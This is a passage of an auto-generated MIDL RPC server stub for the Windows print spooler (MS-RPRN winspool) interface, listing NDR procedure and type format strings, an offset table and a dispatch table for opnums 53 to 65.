1574 | /* 1894 */ NdrFcShort( 0x0 ), /* 0 */
1575 | /* 1896 */ NdrFcShort( 0x0 ), /* 0 */
1576 | /* 1898 */ NdrFcShort( 0x0 ), /* 0 */
1577 |
1578 | /* Return value */
1579 |
1580 | /* 1900 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1581 | /* 1902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1582 | /* 1904 */ 0x8, /* FC_LONG */
1583 | 0x0, /* 0 */
1584 |
1585 | /* Procedure RpcGetPrinterDriver2 */
1586 |
1587 | /* 1906 */ 0x0, /* 0 */
1588 | 0x48, /* Old Flags: */
1589 | /* 1908 */ NdrFcLong( 0x0 ), /* 0 */
1590 | /* 1912 */ NdrFcShort( 0x35 ), /* 53 */
1591 | /* 1914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1592 | /* 1916 */ 0x32, /* FC_BIND_PRIMITIVE */
1593 | 0x0, /* 0 */
1594 | /* 1918 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1595 | /* 1920 */ NdrFcShort( 0x0 ), /* 0 */
1596 | /* 1922 */ NdrFcShort( 0x8 ), /* 8 */
1597 | /* 1924 */ 0x44, /* Oi2 Flags: has return, has ext, */
1598 | 0x1, /* 1 */
1599 | /* 1926 */ 0xa, /* 10 */
1600 | 0x1, /* Ext Flags: new corr desc, */
1601 | /* 1928 */ NdrFcShort( 0x0 ), /* 0 */
1602 | /* 1930 */ NdrFcShort( 0x0 ), /* 0 */
1603 | /* 1932 */ NdrFcShort( 0x0 ), /* 0 */
1604 | /* 1934 */ NdrFcShort( 0x0 ), /* 0 */
1605 |
1606 | /* Return value */
1607 |
1608 | /* 1936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1609 | /* 1938 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1610 | /* 1940 */ 0x8, /* FC_LONG */
1611 | 0x0, /* 0 */
1612 |
1613 | /* Procedure Opnum54NotUsedOnWire */
1614 |
1615 | /* 1942 */ 0x0, /* 0 */
1616 | 0x48, /* Old Flags: */
1617 | /* 1944 */ NdrFcLong( 0x0 ), /* 0 */
1618 | /* 1948 */ NdrFcShort( 0x36 ), /* 54 */
1619 | /* 1950 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1620 | /* 1952 */ 0x32, /* FC_BIND_PRIMITIVE */
1621 | 0x0, /* 0 */
1622 | /* 1954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1623 | /* 1956 */ NdrFcShort( 0x0 ), /* 0 */
1624 | /* 1958 */ NdrFcShort( 0x0 ), /* 0 */
1625 | /* 1960 */ 0x40, /* Oi2 Flags: has ext, */
1626 | 0x0, /* 0 */
1627 | /* 1962 */ 0xa, /* 10 */
1628 | 0x1, /* Ext Flags: new corr desc, */
1629 | /* 1964 */ NdrFcShort( 0x0 ), /* 0 */
1630 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */
1631 | /* 1968 */ NdrFcShort( 0x0 ), /* 0 */
1632 | /* 1970 */ NdrFcShort( 0x0 ), /* 0 */
1633 |
1634 | /* Procedure Opnum55NotUsedOnWire */
1635 |
1636 | /* 1972 */ 0x0, /* 0 */
1637 | 0x48, /* Old Flags: */
1638 | /* 1974 */ NdrFcLong( 0x0 ), /* 0 */
1639 | /* 1978 */ NdrFcShort( 0x37 ), /* 55 */
1640 | /* 1980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1641 | /* 1982 */ 0x32, /* FC_BIND_PRIMITIVE */
1642 | 0x0, /* 0 */
1643 | /* 1984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1644 | /* 1986 */ NdrFcShort( 0x0 ), /* 0 */
1645 | /* 1988 */ NdrFcShort( 0x0 ), /* 0 */
1646 | /* 1990 */ 0x40, /* Oi2 Flags: has ext, */
1647 | 0x0, /* 0 */
1648 | /* 1992 */ 0xa, /* 10 */
1649 | 0x1, /* Ext Flags: new corr desc, */
1650 | /* 1994 */ NdrFcShort( 0x0 ), /* 0 */
1651 | /* 1996 */ NdrFcShort( 0x0 ), /* 0 */
1652 | /* 1998 */ NdrFcShort( 0x0 ), /* 0 */
1653 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */
1654 |
1655 | /* Procedure RpcFindClosePrinterChangeNotification */
1656 |
1657 | /* 2002 */ 0x0, /* 0 */
1658 | 0x48, /* Old Flags: */
1659 | /* 2004 */ NdrFcLong( 0x0 ), /* 0 */
1660 | /* 2008 */ NdrFcShort( 0x38 ), /* 56 */
1661 | /* 2010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1662 | /* 2012 */ 0x32, /* FC_BIND_PRIMITIVE */
1663 | 0x0, /* 0 */
1664 | /* 2014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1665 | /* 2016 */ NdrFcShort( 0x0 ), /* 0 */
1666 | /* 2018 */ NdrFcShort( 0x8 ), /* 8 */
1667 | /* 2020 */ 0x44, /* Oi2 Flags: has return, has ext, */
1668 | 0x1, /* 1 */
1669 | /* 2022 */ 0xa, /* 10 */
1670 | 0x1, /* Ext Flags: new corr desc, */
1671 | /* 2024 */ NdrFcShort( 0x0 ), /* 0 */
1672 | /* 2026 */ NdrFcShort( 0x0 ), /* 0 */
1673 | /* 2028 */ NdrFcShort( 0x0 ), /* 0 */
1674 | /* 2030 */ NdrFcShort( 0x0 ), /* 0 */
1675 |
1676 | /* Return value */
1677 |
1678 | /* 2032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1679 | /* 2034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1680 | /* 2036 */ 0x8, /* FC_LONG */
1681 | 0x0, /* 0 */
1682 |
1683 | /* Procedure Opnum57NotUsedOnWire */
1684 |
1685 | /* 2038 */ 0x0, /* 0 */
1686 | 0x48, /* Old Flags: */
1687 | /* 2040 */ NdrFcLong( 0x0 ), /* 0 */
1688 | /* 2044 */ NdrFcShort( 0x39 ), /* 57 */
1689 | /* 2046 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1690 | /* 2048 */ 0x32, /* FC_BIND_PRIMITIVE */
1691 | 0x0, /* 0 */
1692 | /* 2050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1693 | /* 2052 */ NdrFcShort( 0x0 ), /* 0 */
1694 | /* 2054 */ NdrFcShort( 0x0 ), /* 0 */
1695 | /* 2056 */ 0x40, /* Oi2 Flags: has ext, */
1696 | 0x0, /* 0 */
1697 | /* 2058 */ 0xa, /* 10 */
1698 | 0x1, /* Ext Flags: new corr desc, */
1699 | /* 2060 */ NdrFcShort( 0x0 ), /* 0 */
1700 | /* 2062 */ NdrFcShort( 0x0 ), /* 0 */
1701 | /* 2064 */ NdrFcShort( 0x0 ), /* 0 */
1702 | /* 2066 */ NdrFcShort( 0x0 ), /* 0 */
1703 |
1704 | /* Procedure RpcReplyOpenPrinter */
1705 |
1706 | /* 2068 */ 0x0, /* 0 */
1707 | 0x48, /* Old Flags: */
1708 | /* 2070 */ NdrFcLong( 0x0 ), /* 0 */
1709 | /* 2074 */ NdrFcShort( 0x3a ), /* 58 */
1710 | /* 2076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1711 | /* 2078 */ 0x32, /* FC_BIND_PRIMITIVE */
1712 | 0x0, /* 0 */
1713 | /* 2080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1714 | /* 2082 */ NdrFcShort( 0x0 ), /* 0 */
1715 | /* 2084 */ NdrFcShort( 0x8 ), /* 8 */
1716 | /* 2086 */ 0x44, /* Oi2 Flags: has return, has ext, */
1717 | 0x1, /* 1 */
1718 | /* 2088 */ 0xa, /* 10 */
1719 | 0x1, /* Ext Flags: new corr desc, */
1720 | /* 2090 */ NdrFcShort( 0x0 ), /* 0 */
1721 | /* 2092 */ NdrFcShort( 0x0 ), /* 0 */
1722 | /* 2094 */ NdrFcShort( 0x0 ), /* 0 */
1723 | /* 2096 */ NdrFcShort( 0x0 ), /* 0 */
1724 |
1725 | /* Return value */
1726 |
1727 | /* 2098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1728 | /* 2100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1729 | /* 2102 */ 0x8, /* FC_LONG */
1730 | 0x0, /* 0 */
1731 |
1732 | /* Procedure RpcRouterReplyPrinter */
1733 |
1734 | /* 2104 */ 0x0, /* 0 */
1735 | 0x48, /* Old Flags: */
1736 | /* 2106 */ NdrFcLong( 0x0 ), /* 0 */
1737 | /* 2110 */ NdrFcShort( 0x3b ), /* 59 */
1738 | /* 2112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1739 | /* 2114 */ 0x32, /* FC_BIND_PRIMITIVE */
1740 | 0x0, /* 0 */
1741 | /* 2116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1742 | /* 2118 */ NdrFcShort( 0x0 ), /* 0 */
1743 | /* 2120 */ NdrFcShort( 0x8 ), /* 8 */
1744 | /* 2122 */ 0x44, /* Oi2 Flags: has return, has ext, */
1745 | 0x1, /* 1 */
1746 | /* 2124 */ 0xa, /* 10 */
1747 | 0x1, /* Ext Flags: new corr desc, */
1748 | /* 2126 */ NdrFcShort( 0x0 ), /* 0 */
1749 | /* 2128 */ NdrFcShort( 0x0 ), /* 0 */
1750 | /* 2130 */ NdrFcShort( 0x0 ), /* 0 */
1751 | /* 2132 */ NdrFcShort( 0x0 ), /* 0 */
1752 |
1753 | /* Return value */
1754 |
1755 | /* 2134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1756 | /* 2136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1757 | /* 2138 */ 0x8, /* FC_LONG */
1758 | 0x0, /* 0 */
1759 |
1760 | /* Procedure RpcReplyClosePrinter */
1761 |
1762 | /* 2140 */ 0x0, /* 0 */
1763 | 0x48, /* Old Flags: */
1764 | /* 2142 */ NdrFcLong( 0x0 ), /* 0 */
1765 | /* 2146 */ NdrFcShort( 0x3c ), /* 60 */
1766 | /* 2148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1767 | /* 2150 */ 0x32, /* FC_BIND_PRIMITIVE */
1768 | 0x0, /* 0 */
1769 | /* 2152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1770 | /* 2154 */ NdrFcShort( 0x0 ), /* 0 */
1771 | /* 2156 */ NdrFcShort( 0x8 ), /* 8 */
1772 | /* 2158 */ 0x44, /* Oi2 Flags: has return, has ext, */
1773 | 0x1, /* 1 */
1774 | /* 2160 */ 0xa, /* 10 */
1775 | 0x1, /* Ext Flags: new corr desc, */
1776 | /* 2162 */ NdrFcShort( 0x0 ), /* 0 */
1777 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */
1778 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */
1779 | /* 2168 */ NdrFcShort( 0x0 ), /* 0 */
1780 |
1781 | /* Return value */
1782 |
1783 | /* 2170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1784 | /* 2172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1785 | /* 2174 */ 0x8, /* FC_LONG */
1786 | 0x0, /* 0 */
1787 |
1788 | /* Procedure RpcAddPortEx */
1789 |
1790 | /* 2176 */ 0x0, /* 0 */
1791 | 0x48, /* Old Flags: */
1792 | /* 2178 */ NdrFcLong( 0x0 ), /* 0 */
1793 | /* 2182 */ NdrFcShort( 0x3d ), /* 61 */
1794 | /* 2184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1795 | /* 2186 */ 0x32, /* FC_BIND_PRIMITIVE */
1796 | 0x0, /* 0 */
1797 | /* 2188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1798 | /* 2190 */ NdrFcShort( 0x0 ), /* 0 */
1799 | /* 2192 */ NdrFcShort( 0x8 ), /* 8 */
1800 | /* 2194 */ 0x44, /* Oi2 Flags: has return, has ext, */
1801 | 0x1, /* 1 */
1802 | /* 2196 */ 0xa, /* 10 */
1803 | 0x1, /* Ext Flags: new corr desc, */
1804 | /* 2198 */ NdrFcShort( 0x0 ), /* 0 */
1805 | /* 2200 */ NdrFcShort( 0x0 ), /* 0 */
1806 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */
1807 | /* 2204 */ NdrFcShort( 0x0 ), /* 0 */
1808 |
1809 | /* Return value */
1810 |
1811 | /* 2206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1812 | /* 2208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1813 | /* 2210 */ 0x8, /* FC_LONG */
1814 | 0x0, /* 0 */
1815 |
1816 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */
1817 |
1818 | /* 2212 */ 0x0, /* 0 */
1819 | 0x48, /* Old Flags: */
1820 | /* 2214 */ NdrFcLong( 0x0 ), /* 0 */
1821 | /* 2218 */ NdrFcShort( 0x3e ), /* 62 */
1822 | /* 2220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1823 | /* 2222 */ 0x32, /* FC_BIND_PRIMITIVE */
1824 | 0x0, /* 0 */
1825 | /* 2224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1826 | /* 2226 */ NdrFcShort( 0x0 ), /* 0 */
1827 | /* 2228 */ NdrFcShort( 0x8 ), /* 8 */
1828 | /* 2230 */ 0x44, /* Oi2 Flags: has return, has ext, */
1829 | 0x1, /* 1 */
1830 | /* 2232 */ 0xa, /* 10 */
1831 | 0x1, /* Ext Flags: new corr desc, */
1832 | /* 2234 */ NdrFcShort( 0x0 ), /* 0 */
1833 | /* 2236 */ NdrFcShort( 0x0 ), /* 0 */
1834 | /* 2238 */ NdrFcShort( 0x0 ), /* 0 */
1835 | /* 2240 */ NdrFcShort( 0x0 ), /* 0 */
1836 |
1837 | /* Return value */
1838 |
1839 | /* 2242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1840 | /* 2244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1841 | /* 2246 */ 0x8, /* FC_LONG */
1842 | 0x0, /* 0 */
1843 |
1844 | /* Procedure Opnum63NotUsedOnWire */
1845 |
1846 | /* 2248 */ 0x0, /* 0 */
1847 | 0x48, /* Old Flags: */
1848 | /* 2250 */ NdrFcLong( 0x0 ), /* 0 */
1849 | /* 2254 */ NdrFcShort( 0x3f ), /* 63 */
1850 | /* 2256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1851 | /* 2258 */ 0x32, /* FC_BIND_PRIMITIVE */
1852 | 0x0, /* 0 */
1853 | /* 2260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1854 | /* 2262 */ NdrFcShort( 0x0 ), /* 0 */
1855 | /* 2264 */ NdrFcShort( 0x0 ), /* 0 */
1856 | /* 2266 */ 0x40, /* Oi2 Flags: has ext, */
1857 | 0x0, /* 0 */
1858 | /* 2268 */ 0xa, /* 10 */
1859 | 0x1, /* Ext Flags: new corr desc, */
1860 | /* 2270 */ NdrFcShort( 0x0 ), /* 0 */
1861 | /* 2272 */ NdrFcShort( 0x0 ), /* 0 */
1862 | /* 2274 */ NdrFcShort( 0x0 ), /* 0 */
1863 | /* 2276 */ NdrFcShort( 0x0 ), /* 0 */
1864 |
1865 | /* Procedure Opnum64NotUsedOnWire */
1866 |
1867 | /* 2278 */ 0x0, /* 0 */
1868 | 0x48, /* Old Flags: */
1869 | /* 2280 */ NdrFcLong( 0x0 ), /* 0 */
1870 | /* 2284 */ NdrFcShort( 0x40 ), /* 64 */
1871 | /* 2286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1872 | /* 2288 */ 0x32, /* FC_BIND_PRIMITIVE */
1873 | 0x0, /* 0 */
1874 | /* 2290 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1875 | /* 2292 */ NdrFcShort( 0x0 ), /* 0 */
1876 | /* 2294 */ NdrFcShort( 0x0 ), /* 0 */
1877 | /* 2296 */ 0x40, /* Oi2 Flags: has ext, */
1878 | 0x0, /* 0 */
1879 | /* 2298 */ 0xa, /* 10 */
1880 | 0x1, /* Ext Flags: new corr desc, */
1881 | /* 2300 */ NdrFcShort( 0x0 ), /* 0 */
1882 | /* 2302 */ NdrFcShort( 0x0 ), /* 0 */
1883 | /* 2304 */ NdrFcShort( 0x0 ), /* 0 */
1884 | /* 2306 */ NdrFcShort( 0x0 ), /* 0 */
1885 |
1886 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */
1887 |
1888 | /* 2308 */ 0x0, /* 0 */
1889 | 0x48, /* Old Flags: */
1890 | /* 2310 */ NdrFcLong( 0x0 ), /* 0 */
1891 | /* 2314 */ NdrFcShort( 0x41 ), /* 65 */
1892 | /* 2316 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
1893 | /* 2318 */ 0x30, /* FC_BIND_CONTEXT */
1894 | 0x40, /* Ctxt flags: in, */
1895 | /* 2320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1896 | /* 2322 */ 0x0, /* 0 */
1897 | 0x0, /* 0 */
1898 | /* 2324 */ NdrFcShort( 0x3c ), /* 60 */
1899 | /* 2326 */ NdrFcShort( 0x8 ), /* 8 */
1900 | /* 2328 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
1901 | 0x7, /* 7 */
1902 | /* 2330 */ 0xa, /* 10 */
1903 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
1904 | /* 2332 */ NdrFcShort( 0x0 ), /* 0 */
1905 | /* 2334 */ NdrFcShort( 0x1 ), /* 1 */
1906 | /* 2336 */ NdrFcShort( 0x0 ), /* 0 */
1907 | /* 2338 */ NdrFcShort( 0x0 ), /* 0 */
1908 |
1909 | /* Parameter hPrinter */
1910 |
1911 | /* 2340 */ NdrFcShort( 0x8 ), /* Flags: in, */
1912 | /* 2342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1913 | /* 2344 */ NdrFcShort( 0x36 ), /* Type Offset=54 */
1914 |
1915 | /* Parameter fdwFlags */
1916 |
1917 | /* 2346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1918 | /* 2348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1919 | /* 2350 */ 0x8, /* FC_LONG */
1920 | 0x0, /* 0 */
1921 |
1922 | /* Parameter fdwOptions */
1923 |
1924 | /* 2352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1925 | /* 2354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1926 | /* 2356 */ 0x8, /* FC_LONG */
1927 | 0x0, /* 0 */
1928 |
1929 | /* Parameter pszLocalMachine */
1930 |
1931 | /* 2358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1932 | /* 2360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
1933 | /* 2362 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
1934 |
1935 | /* Parameter dwPrinterLocal */
1936 |
1937 | /* 2364 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1938 | /* 2366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
1939 | /* 2368 */ 0x8, /* FC_LONG */
1940 | 0x0, /* 0 */
1941 |
1942 | /* Parameter pOptions */
1943 |
1944 | /* 2370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1945 | /* 2372 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
1946 | /* 2374 */ NdrFcShort( 0x3a ), /* Type Offset=58 */
1947 |
1948 | /* Return value */
1949 |
1950 | /* 2376 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1951 | /* 2378 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
1952 | /* 2380 */ 0x8, /* FC_LONG */
1953 | 0x0, /* 0 */
1954 |
1955 | 0x0
1956 | }
1957 | };
1958 |
1959 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString =
1960 | {
1961 | 0,
1962 | {
1963 | NdrFcShort( 0x0 ), /* 0 */
1964 | /* 2 */
1965 | 0x12, 0x8, /* FC_UP [simple_pointer] */
1966 | /* 4 */
1967 | 0x25, /* FC_C_WSTRING */
1968 | 0x5c, /* FC_PAD */
1969 | /* 6 */
1970 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
1971 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */
1972 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */
1973 | 0xa0, /* Ctxt flags: via ptr, out, */
1974 | /* 12 */ 0x0, /* 0 */
1975 | 0x0, /* 0 */
1976 | /* 14 */
1977 | 0x11, 0x0, /* FC_RP */
1978 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */
1979 | /* 18 */
1980 | 0x1b, /* FC_CARRAY */
1981 | 0x0, /* 0 */
1982 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */
1983 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
1984 | 0x0, /* */
1985 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
1986 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
1987 | /* 28 */ 0x1, /* FC_BYTE */
1988 | 0x5b, /* FC_END */
1989 | /* 30 */
1990 | 0x1a, /* FC_BOGUS_STRUCT */
1991 | 0x3, /* 3 */
1992 | /* 32 */ NdrFcShort( 0x10 ), /* 16 */
1993 | /* 34 */ NdrFcShort( 0x0 ), /* 0 */
1994 | /* 36 */ NdrFcShort( 0x6 ), /* Offset= 6 (42) */
1995 | /* 38 */ 0x8, /* FC_LONG */
1996 | 0x40, /* FC_STRUCTPAD4 */
1997 | /* 40 */ 0x36, /* FC_POINTER */
1998 | 0x5b, /* FC_END */
1999 | /* 42 */
2000 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2001 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */
2002 | /* 46 */
2003 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
2004 | /* 48 */ NdrFcShort( 0x2 ), /* Offset= 2 (50) */
2005 | /* 50 */ 0x30, /* FC_BIND_CONTEXT */
2006 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */
2007 | /* 52 */ 0x0, /* 0 */
2008 | 0x0, /* 0 */
2009 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */
2010 | 0x41, /* Ctxt flags: in, can't be null */
2011 | /* 56 */ 0x0, /* 0 */
2012 | 0x0, /* 0 */
2013 | /* 58 */
2014 | 0x12, 0x0, /* FC_UP */
2015 | /* 60 */ NdrFcShort( 0x38 ), /* Offset= 56 (116) */
2016 | /* 62 */
2017 | 0x1b, /* FC_CARRAY */
2018 | 0x1, /* 1 */
2019 | /* 64 */ NdrFcShort( 0x2 ), /* 2 */
2020 | /* 66 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
2021 | 0x0, /* */
2022 | /* 68 */ NdrFcShort( 0xc ), /* 12 */
2023 | /* 70 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
2024 | /* 72 */ 0x6, /* FC_SHORT */
2025 | 0x5b, /* FC_END */
2026 | /* 74 */
2027 | 0x1a, /* FC_BOGUS_STRUCT */
2028 | 0x3, /* 3 */
2029 | /* 76 */ NdrFcShort( 0x18 ), /* 24 */
2030 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */
2031 | /* 80 */ NdrFcShort( 0xa ), /* Offset= 10 (90) */
2032 | /* 82 */ 0x6, /* FC_SHORT */
2033 | 0x6, /* FC_SHORT */
2034 | /* 84 */ 0x8, /* FC_LONG */
2035 | 0x8, /* FC_LONG */
2036 | /* 86 */ 0x8, /* FC_LONG */
2037 | 0x36, /* FC_POINTER */
2038 | /* 88 */ 0x5c, /* FC_PAD */
2039 | 0x5b, /* FC_END */
2040 | /* 90 */
2041 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2042 | /* 92 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (62) */
2043 | /* 94 */
2044 | 0x21, /* FC_BOGUS_ARRAY */
2045 | 0x3, /* 3 */
2046 | /* 96 */ NdrFcShort( 0x0 ), /* 0 */
2047 | /* 98 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
2048 | 0x0, /* */
2049 | /* 100 */ NdrFcShort( 0x8 ), /* 8 */
2050 | /* 102 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
2051 | /* 104 */ NdrFcLong( 0xffffffff ), /* -1 */
2052 | /* 108 */ NdrFcShort( 0x0 ), /* Corr flags: */
2053 | /* 110 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
2054 | 0x0, /* 0 */
2055 | /* 112 */ NdrFcShort( 0xffda ), /* Offset= -38 (74) */
2056 | /* 114 */ 0x5c, /* FC_PAD */
2057 | 0x5b, /* FC_END */
2058 | /* 116 */
2059 | 0x1a, /* FC_BOGUS_STRUCT */
2060 | 0x3, /* 3 */
2061 | /* 118 */ NdrFcShort( 0x18 ), /* 24 */
2062 | /* 120 */ NdrFcShort( 0x0 ), /* 0 */
2063 | /* 122 */ NdrFcShort( 0x8 ), /* Offset= 8 (130) */
2064 | /* 124 */ 0x8, /* FC_LONG */
2065 | 0x8, /* FC_LONG */
2066 | /* 126 */ 0x8, /* FC_LONG */
2067 | 0x40, /* FC_STRUCTPAD4 */
2068 | /* 128 */ 0x36, /* FC_POINTER */
2069 | 0x5b, /* FC_END */
2070 | /* 130 */
2071 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2072 | /* 132 */ NdrFcShort( 0xffda ), /* Offset= -38 (94) */
2073 |
2074 | 0x0
2075 | }
2076 | };
2077 |
2078 | static const NDR_RUNDOWN RundownRoutines[] =
2079 | {
2080 | PRINTER_HANDLE_rundown
2081 | };
2082 |
2083 |
2084 | static const unsigned short winspool_FormatStringOffsetTable[] =
2085 | {
2086 | 0,
2087 | 36,
2088 | 104,
2089 | 140,
2090 | 176,
2091 | 212,
2092 | 248,
2093 | 284,
2094 | 320,
2095 | 356,
2096 | 392,
2097 | 428,
2098 | 464,
2099 | 500,
2100 | 536,
2101 | 572,
2102 | 608,
2103 | 644,
2104 | 680,
2105 | 716,
2106 | 752,
2107 | 788,
2108 | 824,
2109 | 860,
2110 | 896,
2111 | 932,
2112 | 968,
2113 | 1004,
2114 | 1040,
2115 | 1076,
2116 | 1120,
2117 | 1156,
2118 | 1192,
2119 | 1228,
2120 | 1264,
2121 | 1300,
2122 | 1336,
2123 | 1372,
2124 | 1402,
2125 | 1432,
2126 | 1468,
2127 | 1504,
2128 | 1540,
2129 | 1576,
2130 | 1606,
2131 | 1636,
2132 | 1666,
2133 | 1702,
2134 | 1738,
2135 | 1774,
2136 | 1804,
2137 | 1834,
2138 | 1870,
2139 | 1906,
2140 | 1942,
2141 | 1972,
2142 | 2002,
2143 | 2038,
2144 | 2068,
2145 | 2104,
2146 | 2140,
2147 | 2176,
2148 | 2212,
2149 | 2248,
2150 | 2278,
2151 | 2308
2152 | };
2153 |
2154 |
2155 | static const RPC_DISPATCH_FUNCTION winspool_table[] =
2156 | {
2157 | NdrServerCall2,
2158 | NdrServerCall2,
2159 | NdrServerCall2,
2160 | NdrServerCall2,
2161 | NdrServerCall2,
2162 | NdrServerCall2,
2163 | NdrServerCall2,
2164 | NdrServerCall2,
2165 | NdrServerCall2,
2166 | NdrServerCall2,
2167 | NdrServerCall2,
2168 | NdrServerCall2,
2169 | NdrServerCall2,
2170 | NdrServerCall2,
2171 | NdrServerCall2,
2172 | NdrServerCall2,
2173 | NdrServerCall2,
2174 | NdrServerCall2,
2175 | NdrServerCall2,
2176 | NdrServerCall2,
2177 | NdrServerCall2,
2178 | NdrServerCall2,
2179 | NdrServerCall2,
2180 | NdrServerCall2,
2181 | NdrServerCall2,
2182 | NdrServerCall2,
2183 | NdrServerCall2,
2184 | NdrServerCall2,
2185 | NdrServerCall2,
2186 | NdrServerCall2,
2187 | NdrServerCall2,
2188 | NdrServerCall2,
2189 | NdrServerCall2,
2190 | NdrServerCall2,
2191 | NdrServerCall2,
2192 | NdrServerCall2,
2193 | NdrServerCall2,
2194 | NdrServerCall2,
2195 | NdrServerCall2,
2196 | NdrServerCall2,
2197 | NdrServerCall2,
2198 | NdrServerCall2,
2199 | NdrServerCall2,
2200 | NdrServerCall2,
2201 | NdrServerCall2,
2202 | NdrServerCall2,
2203 | NdrServerCall2,
2204 | NdrServerCall2,
2205 | NdrServerCall2,
2206 | NdrServerCall2,
2207 | NdrServerCall2,
2208 | NdrServerCall2,
2209 | NdrServerCall2,
2210 | NdrServerCall2,
2211 | NdrServerCall2,
2212 | NdrServerCall2,
2213 | NdrServerCall2,
2214 | NdrServerCall2,
2215 | NdrServerCall2,
2216 | NdrServerCall2,
2217 | NdrServerCall2,
2218 | NdrServerCall2,
2219 | NdrServerCall2,
2220 | NdrServerCall2,
2221 | NdrServerCall2,
2222 | NdrServerCall2,
2223 | 0
2224 | };
2225 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable =
2226 | {
2227 | 66,
2228 | (RPC_DISPATCH_FUNCTION*)winspool_table
2229 | };
2230 |
2231 |
2232 | #endif /* defined(_M_AMD64)*/
2233 |
2234 |
2235 |
2236 | /* this ALWAYS GENERATED file contains the RPC server stubs */
2237 |
2238 |
